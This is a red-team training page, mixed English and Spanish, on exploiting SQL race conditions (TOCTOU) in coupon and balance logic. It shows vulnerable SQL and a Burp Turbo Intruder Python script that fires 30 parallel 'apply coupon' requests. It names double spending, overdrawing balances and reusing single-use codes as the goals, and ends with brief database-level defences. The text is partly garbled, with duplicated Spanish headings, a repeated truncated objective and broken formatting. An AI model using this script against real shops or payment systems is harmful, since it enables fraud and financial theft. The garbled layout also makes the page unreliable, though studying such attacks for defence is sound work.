📕 FIELD MANUAL 18.1: SQL RACE CONDITIONS (LIMIT OVERRUN)
Objective: We will exploit the time window between "Verify" (SELECT) and "Update" (UPDATE) to perform multiple prohibited actions (by...
Classification: RED TEAM EYES ONLY
Objective: We will exploit the time window between “Verify” (SELECT) and “Update” (UPDATE) to perform prohibited actions multiple times (for example, spending the same money twice).
MITRE ATT&CK: T1190 (Exploit Public-Facing Application).
1. INTEL & RECON: THE PHYSICS OF TIME (TOCTOU)
Sección titulada «1. INTEL & RECON: LA FÍSICA DEL TIEMPO (TOCTOU)»Time of Check to Time of Use (TOCTOU): Vulnerable Code (Coupon Logic):
-- Hilo 1 (Petición A)1. SELECT used_count FROM coupons WHERE code = 'DESCUENTO50';-- (Devuelve 0. Es válido).
-- Hilo 2 (Petición B - Milisegundos después)1. SELECT used_count FROM coupons WHERE code = 'DESCUENTO50';-- (¡Todavía devuelve 0! El Hilo 1 aún no ha actualizado).
-- Hilo 12. UPDATE coupons SET used_count = used_count + 1 ...;-- Hilo 22. UPDATE coupons SET used_count = used_count + 1 ...;Result: Both threads will apply the discount, even though it should only have been used once.
2. WEAPONIZATION: TURBO INTRUDER
Sección titulada «2. WEAPONIZATION: TURBO INTRUDER»For this, a human is too slow. We need to send requests in true parallel (not sequential).
Tool: Burp Suite Turbo Intruder
Sección titulada «Herramienta: Burp Suite Turbo Intruder»It is an extension that allows controlling the TCP stack to send the last byte of the request simultaneously.
Attack Script (Python for Turbo Intruder):
Sección titulada «Script de Ataque (Python para Turbo Intruder):»def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False )
# Encolamos 30 peticiones idénticas de "Aplicar Cupón" for i in range(30): engine.queue(target.req, gate='race1')
# Abrimos la compuerta: Las 30 salen en el MISMO instante engine.openGate('race1')
def handleResponse(req, interesting): if "Cupón aplicado con éxito" in req.response: table.add(req)Tactical Impact:
- Financial: We will withdraw money beyond the balance (
Double Spending). - Inventory: We will purchase out-of-stock items.
- Logical: We will redeem a single-use code multiple times.
3. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «3. PURPLE TEAM VIEW (DEFENSA)»- Defense (Database Level):
- Atomic Updates:
UPDATE user SET balance = balance - 10 WHERE user = 'me' AND balance >= 10;(This will verify and update in a single atomic operation). - Transactions & Locking: We will use
SELECT ... FOR UPDATEto lock the row until the transaction ends. - Constraints:
UNIQUE INDEXin coupon usage tables(user_id, coupon_id).
- Atomic Updates:

